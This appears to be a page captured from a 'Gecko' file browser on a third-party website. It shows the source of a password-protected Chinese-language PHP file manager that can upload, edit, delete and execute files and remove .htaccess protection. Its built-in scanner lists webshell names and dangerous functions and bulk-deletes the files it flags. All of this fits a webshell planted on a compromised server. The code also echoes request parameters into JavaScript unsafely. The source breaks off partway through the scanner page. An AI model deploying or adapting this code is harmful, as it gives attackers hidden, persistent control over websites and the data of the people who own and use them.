Gecko [ contributie.vriendennsm.nl ]

Name	Size	Permission	Date
ajax.php	6.35 KB	-rwxr-xr-x	2023-07-08 16:23
link.php	3.62 KB	-rw-r--r--	2026-06-12 07:12
restorer.php	68.8 KB	-rw-r--r--	2026-06-12 07:12

Rename

<?php
// 文件管理器 - 简化修复版
// 文件名: file_manager.php

// 1. 关闭错误显示，使用简单的会话处理
@session_start();

// 2. 配置 - 确保密码正确
$ADMIN_PASS = "bhca@8373";  // 您的密码
$SITE_NAME = "文件管理器";

// 3. 处理登录
$login_error = '';

// 如果提交了密码
if (isset($_POST['pass'])) {
    // 直接比较密码
    if ($_POST['pass'] == $ADMIN_PASS) {
        $_SESSION['file_manager_auth'] = 1;
        $_SESSION['login_time'] = time();
        // 重定向避免重新提交
        header("Location: " . $_SERVER['PHP_SELF']);
        exit();
    } else {
        $login_error = "密码错误，请重试";
    }
}

// 4. 检查是否已登录
if (!isset($_SESSION['file_manager_auth']) || $_SESSION['file_manager_auth'] != 1) {
    // 显示登录页面
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8">
        <title><?php echo htmlspecialchars($SITE_NAME); ?> - 登录</title>
        <style>
            body {
                margin: 0;
                padding: 0;
                font-family: Arial, sans-serif;
                background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
                min-height: 100vh;
                display: flex;
                align-items: center;
                justify-content: center;
            }
            .login-box {
                background: white;
                padding: 40px;
                border-radius: 10px;
                box-shadow: 0 10px 30px rgba(0,0,0,0.2);
                width: 400px;
                text-align: center;
            }
            .logo {
                font-size: 60px;
                margin-bottom: 20px;
                color: #667eea;
            }
            h1 {
                margin: 0 0 10px 0;
                color: #333;
            }
            .error {
                color: #dc3545;
                background: #ffebee;
                padding: 10px;
                border-radius: 5px;
                margin-bottom: 20px;
            }
            input[type="password"] {
                width: 100%;
                padding: 15px;
                margin: 10px 0;
                border: 1px solid #ddd;
                border-radius: 5px;
                font-size: 16px;
                box-sizing: border-box;
            }
            button {
                width: 100%;
                padding: 15px;
                background: #667eea;
                color: white;
                border: none;
                border-radius: 5px;
                font-size: 16px;
                cursor: pointer;
                margin-top: 10px;
            }
            button:hover {
                background: #5a67d8;
            }
            .password-info {
                margin-top: 20px;
                color: #666;
                font-size: 14px;
                background: #f8f9fa;
                padding: 10px;
                border-radius: 5px;
            }
        </style>
        <script>
            // 自动聚焦密码框
            window.onload = function() {
                document.getElementById('password').focus();
            }
        </script>
    </head>
    <body>
        <div class="login-box">
            <div class="logo">🔐</div>
            <h1><?php echo htmlspecialchars($SITE_NAME); ?></h1>
            <p>安全文件管理系统</p>
            
            <?php if ($login_error): ?>
            <div class="error">
                ❌ <?php echo htmlspecialchars($login_error); ?>
            </div>
            <?php endif; ?>
            
            <form method="post" action="">
                <input type="password" 
                       id="password" 
                       name="pass" 
                       placeholder="请输入管理密码" 
                       required 
                       autofocus>
                
                <button type="submit">
                    登录系统
                </button>
            </form>
            
            <div class="password-info">
            </div>
        </div>
    </body>
    </html>
    <?php
    exit();
}

// ==================== 木马扫描配置 ====================

define('MAX_FILE_SIZE', 5 * 1024 * 1024);

$suspicious_functions = array(
    'eval', 'assert', 'system', 'exec', 'shell_exec', 'passthru',
    'popen', 'proc_open', 'pcntl_exec', 'gzinflate', 'gzuncompress',
    'str_rot13', 'base64_decode', 'file_put_contents', 'fwrite',
    'curl_exec', 'file_get_contents', 'include', 'require',
    'create_function', 'call_user_func', 'preg_replace', 'serialize',
    'chmod', 'chown', 'unlink', 'rmdir', 'mkdir', 'copy', 'rename',
    'fsockopen', 'pfsockopen', 'stream_socket_client', 'socket_create'
);

$suspicious_patterns = array(
    'shell', 'webshell', 'cmd', 'backdoor', 'hack', 'eval',
    'upload', 'filemanager', 'exploit', 'bypass', 'c99', 'r57',
    'b374k', 'ak47', 'cyber', 'hacker', 'root', 'phpmyadmin'
);

$high_risk_strings = array(
    'base64_decode', 'gzinflate', 'eval(base64_decode',
    'system($_REQUEST', 'assert($_POST', 'eval($_POST',
    '$_FILES', 'move_uploaded_file'
);

// 判断文件名是否包含中文
function containsChinese($str) {
    if (!is_string($str)) {
        return false;
    }
    // 使用更兼容的方式检测中文（UTF-8编码）
    $len = strlen($str);
    for ($i = 0; $i < $len; $i++) {
        $byte = ord($str[$i]);
        if ($byte >= 0xE4 && $byte <= 0xE9) { // 中文UTF-8首字节范围
            return true;
        }
    }
    return false;
}

// ==================== 已登录部分 ====================

// 获取当前目录
$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
if (!realpath($dir)) {
    $dir = '.';
}
$current_dir = realpath($dir);

// 获取操作类型
$act = isset($_GET['act']) ? $_GET['act'] : 'list';

// 路由处理
if ($act == 'list') {
    show_file_list($current_dir);
} elseif ($act == 'upload') {
    show_upload_form($current_dir);
} elseif ($act == 'do_upload') {
    do_upload($current_dir);
} elseif ($act == 'create_dir') {
    show_create_dir_form($current_dir);
} elseif ($act == 'do_create_dir') {
    do_create_dir($current_dir);
} elseif ($act == 'edit') {
    $file = isset($_GET['file']) ? $_GET['file'] : '';
    show_edit_form($file, $current_dir);
} elseif ($act == 'do_edit') {
    $file = isset($_GET['file']) ? $_GET['file'] : '';
    do_edit($file, $current_dir);
} elseif ($act == 'delete') {
    $file = isset($_GET['file']) ? $_GET['file'] : '';
    do_delete($file, $current_dir);
} elseif ($act == 'download') {
    $file = isset($_GET['file']) ? $_GET['file'] : '';
    download_file($file);
} elseif ($act == 'rename') {
    $file = isset($_GET['file']) ? $_GET['file'] : '';
    show_rename_form($file, $current_dir);
} elseif ($act == 'do_rename') {
    $file = isset($_GET['file']) ? $_GET['file'] : '';
    do_rename($file, $current_dir);
} elseif ($act == 'exec') {
    $file = isset($_GET['file']) ? $_GET['file'] : '';
    execute_php($file, $current_dir);
} elseif ($act == 'protect') {
    add_protection($current_dir);
} elseif ($act == 'unprotect') {
    remove_protection($current_dir);
} elseif ($act == 'remove_php_protect') {
    remove_php_protect($current_dir);
} elseif ($act == 'logout') {
    session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
    exit();
} elseif ($act == 'scan') {
    show_shell_scan($current_dir);
} else {
    show_file_list($current_dir);
}

// ==================== 功能函数 ====================

function format_size($bytes) {
    if ($bytes < 1024) return $bytes . ' B';
    if ($bytes < 1048576) return round($bytes / 1024, 2) . ' KB';
    if ($bytes < 1073741824) return round($bytes / 1048576, 2) . ' MB';
    return round($bytes / 1073741824, 2) . ' GB';
}

function download_file($file) {
    if (!file_exists($file) || !is_file($file)) {
        header("Location: ?act=list");
        exit;
    }
    
    $filename = basename($file);
    
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . $filename . '"');
    header('Content-Length: ' . filesize($file));
    
    readfile($file);
    exit;
}

function remove_protection($dir) {
    // 完全删除.htaccess文件
    if (file_exists($dir . '/.htaccess')) {
        unlink($dir . '/.htaccess');
    }
    
    header("Location: ?act=list&dir=" . urlencode($dir));
    exit;
}

function check_php_protection($dir) {
    $htaccess_file = $dir . '/.htaccess';
    
    if (!file_exists($htaccess_file)) {
        return false;
    }
    
    $content = file_get_contents($htaccess_file);
    return (strpos($content, 'Deny from all') !== false);
}

function do_edit($file, $dir) {
    if (isset($_POST['content']) && file_exists($file)) {
        file_put_contents($file, $_POST['content']);
    }
    
    header("Location: ?act=list&dir=" . urlencode($dir));
    exit;
}

function scanShellDirectory($dir, $suspicious_functions, $suspicious_patterns, $high_risk_strings, &$results, &$total_files, &$scanned_files) {

if (!is_readable($dir)) {
        return;
    }

$items = @scandir($dir);
    if ($items === false) {
        return;
    }

foreach ($items as $item) {
        if ($item == '.' || $item == '..') {
            continue;
        }

$path = $dir . DIRECTORY_SEPARATOR . $item;

if (is_dir($path)) {
            scanShellDirectory($path, $suspicious_functions, $suspicious_patterns, $high_risk_strings, $results, $total_files, $scanned_files);
        } elseif (is_file($path)) {
            $total_files++;

$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
            $php_exts = array('php', 'php2', 'php3', 'php4', 'php5', 'php7', 'php8', 'phtml', 'phps', 'inc');

if (!in_array($ext, $php_exts)) {
                continue;
            }

$scanned_files++;

$filesize = filesize($path);
            if ($filesize > MAX_FILE_SIZE) {
                $content = file_get_contents($path, false, null, 0, MAX_FILE_SIZE);
                $content .= file_get_contents($path, false, null, max(0, $filesize - MAX_FILE_SIZE), MAX_FILE_SIZE);
            } else {
                $content = file_get_contents($path);
            }

if ($content === false) {
                continue;
            }

$risk_score = 0;
            $reasons = array();

$found_functions = array();
            foreach ($suspicious_functions as $func) {
                if (preg_match('/\b' . preg_quote($func, '/') . '\s*\(/i', $content)) {
                    $found_functions[] = $func;
                }
            }

if (count($found_functions) >= 1) {
                $risk_score += min(count($found_functions) * 2, 10);
                $reasons[] = "高危函数: " . implode(', ', array_slice($found_functions, 0, 5));
                if (count($found_functions) > 5) {
                    $reasons[] = "以及其他 " . (count($found_functions) - 5) . " 个高危函数";
                }
            }

foreach ($high_risk_strings as $hrs) {
                if (stripos($content, $hrs) !== false) {
                    $risk_score += 2;
                    $reasons[] = "包含高危特征: $hrs";
                    break;
                }
            }

$lines = explode("\n", $content);
            foreach ($lines as $line) {
                if (strlen($line) > 800) {
                    $risk_score += 2;
                    $reasons[] = "超长代码行(混淆嫌疑)";
                    break;
                }
            }

$filename = basename($path);
            foreach ($suspicious_patterns as $pattern) {
                if (preg_match('/' . $pattern . '/i', $filename)) {
                    $risk_score += 3;
                    $reasons[] = "可疑文件名: $filename";
                    break;
                }
            }

if (preg_match_all('/base64_decode/', $content, $matches) > 2) {
                $risk_score += 2;
                $reasons[] = "多次使用 base64_decode (疑似混淆)";
            }

if (preg_match('/eval\s*\(/i', $content)) {
                if (preg_match('/base64_decode|gzinflate|str_rot13/', $content)) {
                    $risk_score += 3;
                    $reasons[] = "eval + 编码函数 (典型木马特征)";
                } else {
                    $risk_score += 1;
                    $reasons[] = "使用了 eval 函数";
                }
            }

if (preg_match('/\$(?:_(?:POST|GET|REQUEST|COOKIE)|HTTP_RAW_POST_DATA)/i', $content)) {
                if (preg_match('/system|exec|shell_exec|passthru|popen/i', $content)) {
                    $risk_score += 3;
                    $reasons[] = "动态参数 + 系统命令执行 (高危后门)";
                }
            }

if (preg_match('/<\?php\s*if\s*$\s*isset\s*\(\s*\$_(?:POST|GET|REQUEST)\s*\[\s*[\'"].*?[\'"]\s*\]\s*$/', $content)) {
                if (preg_match('/eval|assert|system|exec/', $content)) {
                    $risk_score += 3;
                    $reasons[] = "典型的webshell入口模式";
                }
            }

if ($risk_score >= 2) {
                $results[] = array(
                    'file' => $path,
                    'score' => $risk_score,
                    'reasons' => $reasons,
                    'size' => $filesize,
                    'functions' => $found_functions
                );
            }
        }
    }
}

function show_shell_scan($dir) {
    global $SITE_NAME;

$batch_del = isset($_POST['batch_del']) ? $_POST['batch_del'] : null;
    $view_file = isset($_GET['view']) ? $_GET['view'] : null;
    $del_file = isset($_GET['del']) ? $_GET['del'] : null;

if ($batch_del && is_array($batch_del) && count($batch_del) > 0) {
        $deleted_count = 0;
        $failed_count = 0;
        $failed_files = array();

foreach ($batch_del as $file) {
            $file = base64_decode($file);
            if (file_exists($file) && is_file($file)) {
                if (unlink($file)) {
                    $deleted_count++;
                } else {
                    $failed_count++;
                    $failed_files[] = $file;
                }
            } else {
                $failed_count++;
                $failed_files[] = $file . " (文件不存在)";
            }
        }

$message = "✅ 成功删除 {$deleted_count} 个文件";
        if ($failed_count > 0) {
            $message .= "，❌ 失败 {$failed_count} 个";
        }

echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>批量删除结果</title>";
        echo "<style>body{font-family: monospace; background:#f4f4f4; margin:20px;}
              .result{background:#fff; padding:20px; border-radius:5px; box-shadow:0 1px 3px #ccc;}
              .success{color:#090;} .fail{color:#f00;}</style>";
        echo "<script>setTimeout(function(){ window.location.href='?act=scan&dir=" . urlencode($dir) . "'; }, 2000);</script>";
        echo "</head><body>";
        echo "<div class='result'>";
        echo "<h2>批量删除结果</h2>";
        echo "<p class='success'>$message</p>";
        if ($failed_count > 0) {
            echo "<p class='fail'>删除失败的文件：</p><ul>";
            foreach ($failed_files as $fail) {
                echo "<li>" . htmlspecialchars($fail) . "</li>";
            }
            echo "</ul>";
        }
        echo "<p>2秒后自动返回...</p>";
        echo "</div></body></html>";
        exit;
    }

if ($view_file && file_exists($view_file) && is_file($view_file)) {
        header('Content-Type: text/html; charset=utf-8');
        echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>查看文件内容</title>";
        echo "<style>
              body{font-family: monospace; background:#f4f4f4; margin:20px;}
              pre{background:#fff; padding:15px; border:1px solid #ddd; overflow:auto; max-height:600px; font-size:12px; white-space:pre-wrap; word-wrap:break-word;}
              .nav{margin-bottom:20px; padding:10px; background:#fff; border-radius:5px; box-shadow:0 1px 3px #ccc;}
              .btn{display:inline-block; padding:5px 15px; background:#06c; color:#fff; text-decoration:none; border-radius:3px; margin-right:10px;}
              .btn-del{background:#f00;}
              .btn-del:hover{background:#c00;}
              .btn-back{background:#666;}
              .file-path{background:#f5f5f5; padding:10px; border-radius:3px; margin-top:10px; word-break:break-all;}
            </style>";
        echo "<script>
              function deleteFile() {
                  if(confirm('确认删除该文件？\\n" . addslashes($view_file) . "\\n\\n⚠️ 删除后不可恢复！')) {
                      var url = '?act=scan&del=' + encodeURIComponent('" . addslashes($view_file) . "') + '&from_view=1&dir=" . urlencode($dir) . "';
                      var risk = '" . addslashes($_GET['risk']) . "';
                      var chinese = '" . addslashes($_GET['chinese']) . "';
                      var min_score = '" . addslashes($_GET['min_score']) . "';
                      var max_score = '" . addslashes($_GET['max_score']) . "';
                      var name_filter = '" . addslashes($_GET['name_filter']) . "';
                      var content_filter = '" . addslashes($_GET['content_filter']) . "';
                      if (risk) url += '&risk=' + encodeURIComponent(risk);
                      if (chinese) url += '&chinese=' + encodeURIComponent(chinese);
                      if (min_score) url += '&min_score=' + encodeURIComponent(min_score);
                      if (max_score) url += '&max_score=' + encodeURIComponent(max_score);
                      if (name_filter) url += '&name_filter=' + encodeURIComponent(name_filter);
                      if (content_filter) url += '&content_filter=' + encodeURIComponent(content_filter);
                      window.location.href = url;
                  }
              }
              function goBack() {
                  var url = '?act=scan&dir=" . urlencode($dir) . "';
                  var risk = '" . addslashes($_GET['risk']) . "';
                  var chinese = '" . addslashes($_GET['chinese']) . "';
                  var min_score = '" . addslashes($_GET['min_score']) . "';
                  var max_score = '" . addslashes($_GET['max_score']) . "';
                  var name_filter = '" . addslashes($_GET['name_filter']) . "';
                  var content_filter = '" . addslashes($_GET['content_filter']) . "';
                  if (risk) url += '&risk=' + encodeURIComponent(risk);
                  if (chinese) url += '&chinese=' + encodeURIComponent(chinese);
                  if (min_score) url += '&min_score=' + encodeURIComponent(min_score);
                  if (max_score) url += '&max_score=' + encodeURIComponent(max_score);
                  if (name_filter) url += '&name_filter=' + encodeURIComponent(name_filter);
                  if (content_filter) url += '&content_filter=' + encodeURIComponent(content_filter);
                  window.location.href = url;
              }
            </script>";
        echo "</head><body>";
        echo "<div class='nav'>";
        echo "<a href='javascript:void(0)' onclick='goBack()' class='btn btn-back'>← 返回扫描结果</a>";
        echo "<a href='javascript:void(0)' onclick='deleteFile()' class='btn btn-del'>🗑️ 删除此文件</a>";
        echo "<a href='?act=edit&file=" . urlencode($view_file) . "&dir=" . urlencode(dirname($view_file)) . "' class='btn'>✏️ 编辑文件</a>";
        echo "</div>";
        echo "<h2>📄 文件预览</h2>";
        echo "<div class='file-path'><strong>文件路径:</strong> " . htmlspecialchars($view_file) . "</div>";
        echo "<div style='background:#f5f5f5; border:1px solid #ddd; padding:10px; margin-top:15px; overflow:auto; max-height:600px;'>";
        echo "<pre>";
        echo htmlspecialchars(file_get_contents($view_file));
        echo "</pre></div>";
        echo "</body></html>";
        exit;
    }

if ($del_file && file_exists($del_file) && is_file($del_file)) {
        $redirect_url = '?act=scan&dir=' . urlencode($dir);
        if (isset($_GET['risk'])) $redirect_url .= '&risk=' . urlencode($_GET['risk']);
        if (isset($_GET['chinese'])) $redirect_url .= '&chinese=' . urlencode($_GET['chinese']);
        if (isset($_GET['min_score'])) $redirect_url .= '&min_score=' . urlencode($_GET['min_score']);
        if (isset($_GET['max_score'])) $redirect_url .= '&max_score=' . urlencode($_GET['max_score']);
        if (isset($_GET['name_filter'])) $redirect_url .= '&name_filter=' . urlencode($_GET['name_filter']);
        if (isset($_GET['content_filter'])) $redirect_url .= '&content_filter=' . urlencode($_GET['content_filter']);
        
        if (unlink($del_file)) {
            echo "<script>alert('✅ 文件已删除: " . addslashes($del_file) . "'); window.location.href='" . $redirect_url . "';</script>";
        } else {
            echo "<script>alert('❌ 删除失败，请检查文件权限'); window.location.href='" . $redirect_url . "';</script>";
        }
        exit;
    }

$results = array();
    $total_files = 0;
    $scanned_files = 0;

set_time_limit(0);
    error_reporting(E_ERROR);

scanShellDirectory($dir, $GLOBALS['suspicious_functions'], $GLOBALS['suspicious_patterns'], $GLOBALS['high_risk_strings'], $results, $total_files, $scanned_files);
    
    // 获取筛选参数
    $risk_filter = isset($_GET['risk']) ? $_GET['risk'] : 'all'; // all, high, medium
    $chinese_filter = isset($_GET['chinese']) ? $_GET['chinese'] : 'all'; // all, yes, no
    $min_score = isset($_GET['min_score']) && is_numeric($_GET['min_score']) ? intval($_GET['min_score']) : 0;
    $max_score = isset($_GET['max_score']) && is_numeric($_GET['max_score']) ? intval($_GET['max_score']) : 999;
    $name_filter = isset($_GET['name_filter']) ? trim($_GET['name_filter']) : '';
    $content_filter = isset($_GET['content_filter']) ? trim($_GET['content_filter']) : '';
    
    // 筛选结果
    $filtered_results = $results;
    
    // 按风险等级筛选（当用户选择自定义范围时，优先使用自定义范围）
    if ($risk_filter == 'high' && $min_score == 0 && $max_score == 999) {
        $filtered_results = array_filter($filtered_results, function($r) {
            return $r['score'] >= 5;
        });
    } elseif ($risk_filter == 'medium' && $min_score == 0 && $max_score == 999) {
        $filtered_results = array_filter($filtered_results, function($r) {
            return $r['score'] >= 2 && $r['score'] < 5;
        });
    }
    
    // 按自定义分值范围筛选
    $filtered_results = array_filter($filtered_results, function($r) use ($min_score, $max_score) {
        return $r['score'] >= $min_score && $r['score'] <= $max_score;
    });
    
    // 按中文文件名筛选
    if ($chinese_filter == 'yes') {
        $filtered_results = array_filter($filtered_results, function($r) {
            return containsChinese($r['file']);
        });
    } elseif ($chinese_filter == 'no') {
        $filtered_results = array_filter($filtered_results, function($r) {
            return !containsChinese($r['file']);
        });
    }
    
    // 按文件名包含筛选
    if ($name_filter !== '') {
        $filtered_results = array_filter($filtered_results, function($r) use ($name_filter) {
            return stripos(basename($r['file']), $name_filter) !== false;
        });
    }
    
    // 按文件内容包含筛选
    if ($content_filter !== '') {
        $filtered_results = array_filter($filtered_results, function($r) use ($content_filter) {
            $content = @file_get_contents($r['file']);
            return $content !== false && stripos($content, $content_filter) !== false;
        });
    }

?>
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <title><?php echo htmlspecialchars($SITE_NAME); ?> - 木马扫描</title>
        <style>
            * { margin: 0; padding: 0; box-sizing: border-box; }
            body { font-family: Arial, monospace; background: #f4f4f4; margin: 20px; }
            .header { background: #dc3545; color: white; padding: 20px; margin-bottom: 20px; border-radius: 5px; }
            .header h1 { margin-bottom: 10px; }
            .nav { background: white; padding: 15px; border-radius: 5px; margin-bottom: 20px; box-shadow: 0 1px 3px #ccc; }
            .nav a { color: #0066cc; text-decoration: none; margin-right: 15px; padding: 8px 15px; background: #f0f0f0; border-radius: 4px; }
            .nav a:hover { background: #e0e0e0; }
            .summary { background: #fff; padding: 15px; margin-bottom: 20px; border-radius: 5px; box-shadow: 0 1px 3px #ccc; }
            .summary h2 { margin-bottom: 10px; }
            .summary p { margin: 5px 0; }
            .high-risk { border-left: 4px solid #d00; background: #fff5f5; }
            .medium-risk { border-left: 4px solid #fa0; }
            .file { background: #fff; margin: 10px 0; padding: 10px; border-radius: 5px; box-shadow: 0 1px 3px #ccc; }
            .file:hover { background: #fefefe; }
            .score { color: #f00; font-weight: bold; }
            .reasons { color: #555; margin: 5px 0; }
            .info { color: #888; font-size: 12px; }
            .function-list { color: #666; font-size: 12px; margin-top: 5px; }
            .file-actions { margin-top: 10px; }
            .file-actions a { padding: 5px 10px; background: #0066cc; color: white; text-decoration: none; border-radius: 3px; font-size: 12px; margin-right: 5px; }
            .file-actions a:hover { opacity: 0.9; }
            .batch-bar { background: #fff; padding: 15px; margin-bottom: 20px; border-radius: 5px; position: sticky; top: 10px; z-index: 100; box-shadow: 0 2px 5px #ccc; }
            .btn-del { background: #dc3545 !important; }
            .btn-del:hover { background: #c00 !important; }
            .file-checkbox { width: 18px; height: 18px; cursor: pointer; margin-right: 10px; }
            .no-results { background: #fff; padding: 40px; text-align: center; border-radius: 5px; color: #28a745; }
            .filter-bar { background: #fff; padding: 15px; margin-bottom: 20px; border-radius: 5px; box-shadow: 0 1px 3px #ccc; }
            .filter-bar select { padding: 6px 12px; border: 1px solid #ddd; border-radius: 3px; margin-right: 10px; }
        </style>
        <script>
            function deleteFile(filepath) {
                if(confirm('确认删除该文件？\n' + filepath + '\n\n⚠️ 删除后不可恢复！')) {
                    var risk = document.getElementById('risk_select') ? document.getElementById('risk_select').value : 'all';
                    var chinese = document.getElementById('chinese_select') ? document.getElementById('chinese_select').value : 'all';
                    var min_score = document.getElementById('min_score') ? document.getElementById('min_score').value : '';
                    var max_score = document.getElementById('max_score') ? document.getElementById('max_score').value : '';
                    var name_filter = document.getElementById('name_filter') ? document.getElementById('name_filter').value : '';
                    var content_filter = document.getElementById('content_filter') ? document.getElementById('content_filter').value : '';
                    var url = '?act=scan&del=' + encodeURIComponent(filepath) + '&dir=' + encodeURIComponent('<?php echo addslashes($dir); ?>') + '&risk=' + encodeURIComponent(risk) + '&chinese=' + encodeURIComponent(chinese);
                    if (min_score) url += '&min_score=' + encodeURIComponent(min_score);
                    if (max_score) url += '&max_score=' + encodeURIComponent(max_score);
                    if (name_filter) url += '&name_filter=' + encodeURIComponent(name_filter);
                    if (content_filter) url += '&content_filter=' + encodeURIComponent(content_filter);
                    window.location.href = url;
                }
            }

function selectAll() {
                var checkboxes = document.getElementsByName('files[]');
                var selectAllCheckbox = document.getElementById('select_all');
                for(var i = 0; i < checkboxes.length; i++) {
                    checkboxes[i].checked = selectAllCheckbox.checked;
                }
                updateBatchButton();
            }

function batchDelete() {
                var checkboxes = document.getElementsByName('files[]');
                var selectedFiles = [];
                for(var i = 0; i < checkboxes.length; i++) {
                    if(checkboxes[i].checked) {
                        selectedFiles.push(checkboxes[i].value);
                    }
                }

if(selectedFiles.length === 0) {
                    alert('请至少选择一个文件');
                    return false;
                }

if(confirm('⚠️ 确认删除 ' + selectedFiles.length + ' 个文件？\n\n删除后不可恢复！')) {
                    var form = document.getElementById('batch_form');
                    for(var i = 0; i < selectedFiles.length; i++) {
                        var input = document.createElement('input');
                        input.type = 'hidden';
                        input.name = 'batch_del[]';
                        input.value = selectedFiles[i];
                        form.appendChild(input);
                    }
                    var risk = document.getElementById('risk_select') ? document.getElementById('risk_select').value : 'all';
                    var chinese = document.getElementById('chinese_select') ? document.getElementById('chinese_select').value : 'all';
                    var min_score = document.getElementById('min_score') ? document.getElementById('min_score').value : '';
                    var max_score = document.getElementById('max_score') ? document.getElementById('max_score').value : '';
                    var name_filter = document.getElementById('name_filter') ? document.getElementById('name_filter').value : '';
                    var content_filter = document.getElementById('content_filter') ? document.getElementById('content_filter').value : '';
                    var riskInput = document.createElement('input');
                    riskInput.type = 'hidden';
                    riskInput.name = 'risk';
                    riskInput.value = risk;
                    form.appendChild(riskInput);
                    var chineseInput = document.createElement('input');
                    chineseInput.type = 'hidden';
                    chineseInput.name = 'chinese';
                    chineseInput.value = chinese;
                    form.appendChild(chineseInput);
                    var minScoreInput = document.createElement('input');
                    minScoreInput.type = 'hidden';
                    minScoreInput.name = 'min_score';
                    minScoreInput.value = min_score;
                    form.appendChild(minScoreInput);
                    var maxScoreInput = document.createElement('input');
                    maxScoreInput.type = 'hidden';
                    maxScoreInput.name = 'max_score';
                    maxScoreInput.value = max_score;
                    form.appendChild(maxScoreInput);
                    var nameFilterInput = document.createElement('input');
                    nameFilterInput.type = 'hidden';
                    nameFilterInput.name = 'name_filter';
                    nameFilterInput.value = name_filter;
                    form.appendChild(nameFilterInput);
                    var contentFilterInput = document.createElement('input');
                    contentFilterInput.type = 'hidden';
                    contentFilterInput.name = 'content_filter';
                    contentFilterInput.value = content_filter;
                    form.appendChild(contentFilterInput);
                    form.submit();
                }
            }
            
            function applyFilter() {
                var risk = document.getElementById('risk_select').value;
                var chinese = document.getElementById('chinese_select').value;
                var min_score = document.getElementById('min_score').value;
                var max_score = document.getElementById('max_score').value;
                var name_filter = document.getElementById('name_filter').value;
                var content_filter = document.getElementById('content_filter').value;
                var url = '?act=scan&dir=' + encodeURIComponent('<?php echo addslashes($dir); ?>') + '&risk=' + encodeURIComponent(risk) + '&chinese=' + encodeURIComponent(chinese);
                if (min_score) url += '&min_score=' + encodeURIComponent(min_score);
                if (max_score) url += '&max_score=' + encodeURIComponent(max_score);
                if (name_filter) url += '&name_filter=' + encodeURIComponent(name_filter);
                if (content_filter) url += '&content_filter=' + encodeURIComponent(content_filter);
                window.location.href = url;
            }
            
            function clearFilter() {
                window.location.href = '?act=scan&dir=' + encodeURIComponent('<?php echo addslashes($dir); ?>');
            }
        </script>
    </head>
    <body>
        <div class="header">
            <h1>🐛 PHP木马扫描工具</h1>
            <p>扫描目录: <?php echo htmlspecialchars($dir); ?></p>
        </div>

<div class="nav">
            <a href="?act=list&dir=<?php echo urlencode($dir); ?>">📁 返回文件管理</a>
            <a href="?act=scan&dir=<?php echo urlencode($dir); ?>">🔄 重新扫描</a>
        </div>

<?php
        if (count($results) > 0) {
            usort($results, function($a, $b) {
                return $b['score'] - $a['score'];
            });

$high_risk = 0;
            $medium_risk = 0;
            foreach ($results as $r) {
                if ($r['score'] >= 5) {
                    $high_risk++;
                } else {
                    $medium_risk++;
                }
            }
            
            // 重新排序筛选后的结果
            usort($filtered_results, function($a, $b) {
                return $b['score'] - $a['score'];
            });
            ?>

<div class="summary">
                <h2>📊 扫描结果统计</h2>
                <p><strong style="color:#f00">🔴 高危文件 (≥5分):</strong> <?php echo $high_risk; ?> 个</p>
                <p><strong style="color:#fa0">🟡 中危文件 (2-4分):</strong> <?php echo $medium_risk; ?> 个</p>
                <p><strong>📄 扫描文件:</strong> PHP文件 <?php echo $scanned_files; ?> 个 / 总文件 <?php echo $total_files; ?> 个</p>
            </div>

<div class="filter-bar">
                <label><strong>🔍 风险等级：</strong></label>
                <select id="risk_select" onchange="applyFilter()">
                    <option value="all" <?php echo $risk_filter == 'all' ? 'selected' : ''; ?>>全部</option>
                    <option value="high" <?php echo $risk_filter == 'high' ? 'selected' : ''; ?>>🔴 高危 (≥5分)</option>
                    <option value="medium" <?php echo $risk_filter == 'medium' ? 'selected' : ''; ?>>🟡 中危 (2-4分)</option>
                </select>
                
                <label style="margin-left: 20px;"><strong>📝 中文文件名：</strong></label>
                <select id="chinese_select" onchange="applyFilter()">
                    <option value="all" <?php echo $chinese_filter == 'all' ? 'selected' : ''; ?>>全部</option>
                    <option value="yes" <?php echo $chinese_filter == 'yes' ? 'selected' : ''; ?>>包含中文</option>
                    <option value="no" <?php echo $chinese_filter == 'no' ? 'selected' : ''; ?>>不含中文</option>
                </select>
                
                <label style="margin-left: 20px;"><strong>🎯 分值范围：</strong></label>
                <input type="number" id="min_score" placeholder="最低分" min="0" max="20" value="<?php echo $min_score > 0 ? $min_score : ''; ?>" style="width: 70px; padding: 6px; border: 1px solid #ddd; border-radius: 3px;">
                <span>~</span>
                <input type="number" id="max_score" placeholder="最高分" min="0" max="20" value="<?php echo $max_score < 999 ? $max_score : ''; ?>" style="width: 70px; padding: 6px; border: 1px solid #ddd; border-radius: 3px;">
                
                <label style="margin-left: 20px;"><strong>📄 文件名包含：</strong></label>
                <input type="text" id="name_filter" placeholder="输入文件名关键词" value="<?php echo htmlspecialchars($name_filter); ?>" style="width: 150px; padding: 6px; border: 1px solid #ddd; border-radius: 3px;">
                
                <label style="margin-left: 20px;"><strong>📝 文件内容包含：</strong></label>
                <input type="text" id="content_filter" placeholder="输入内容关键词" value="<?php echo htmlspecialchars($content_filter); ?>" style="width: 150px; padding: 6px; border: 1px solid #ddd; border-radius: 3px;">
                
                <button type="button" onclick="applyFilter()" style="margin-left: 10px; padding: 6px 15px; background: #06c; color: white; border: none; border-radius: 3px; cursor: pointer;">🔍 应用筛选</button>
                <button type="button" onclick="clearFilter()" style="margin-left: 10px; padding: 5px 15px; background: #666; color: white; border: none; border-radius: 3px; cursor: pointer;">🔄 重置筛选</button>
            </div>

<form id="batch_form" method="post">
                <div class="batch-bar">
                    <input type="checkbox" id="select_all" onclick="selectAll()"> 全选/反选
                    <span id="selected_count" style="margin-left: 15px; color: #666;">☐ 未选择任何文件</span>
                    <button type="button" id="batch_delete_btn" class="btn-del" onclick="batchDelete()" disabled style="margin-left: 15px; padding: 8px 15px; color: white; border: none; border-radius: 3px; cursor: pointer;">🗑️ 批量删除</button>
                </div>

<?php foreach ($filtered_results as $r): ?>
                <div class="file <?php echo $r['score'] >= 5 ? 'high-risk' : 'medium-risk'; ?>">
                    <div>
                        <input type="checkbox" name="files[]" value="<?php echo base64_encode($r['file']); ?>" onclick="updateBatchButton()" class="file-checkbox">
                        <strong class="score">[风险: <?php echo $r['score']; ?>分]</strong>
                        <strong><?php echo htmlspecialchars($r['file']); ?></strong>
                        <span class="info">(<?php echo format_size($r['size']); ?>)</span>
